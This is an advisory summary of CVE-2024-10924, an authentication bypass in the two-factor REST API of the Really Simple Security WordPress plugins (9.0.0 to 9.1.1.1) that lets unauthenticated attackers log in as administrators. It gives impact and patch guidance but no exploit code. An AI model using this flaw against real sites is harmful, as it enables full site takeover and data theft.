CVE-2024-10924
Overview
This vulnerability is an authentication bypass caused by improper error handling in user verification within the two-factor authentication REST API actions. Specifically, the 'check_login_and_get_user' function fails to correctly validate user authentication states, affecting the Really Simple Security Pro Multisite plugin's two-factor authentication feature. The flaw exists in versions 9.0.0 through 9.1.1.1 of the plugin, impacting the REST API endpoints responsible for two-factor login verification.
Vulnerability Description
The Really Simple Security (Free, Pro, and Pro Multisite) plugins for WordPress are vulnerable to authentication bypass in versions 9.0.0 to 9.1.1.1. This is due to improper user check error handling in the two-factor REST API actions with the 'check_login_and_get_user' function. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, when the "Two-Factor Authentication" setting is enabled (disabled by default).
Impact
An unauthenticated attacker can leverage this vulnerability to log in as any user, including administrators, without valid credentials or interaction, enabling full site compromise. The attack requires no privileges (PR:N) and no user interaction (UI:N), exploiting network access to the REST API (AV:N) with low attack complexity (AC:L). Consequences include unauthorized data access, site control takeover, and potential lateral movement within multisite WordPress environments.
Solution
Update the Really Simple Security plugin to version 9.1.2 or later, where the authentication bypass flaw in the two-factor REST API has been addressed. Refer to the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/7d5d05ad-1a7a-43d2-bbbf-597e975446be) for detailed patch instructions. Users should verify that the 'Two-Factor Authentication' feature is properly secured post-update and monitor plugin repositories for further security releases.
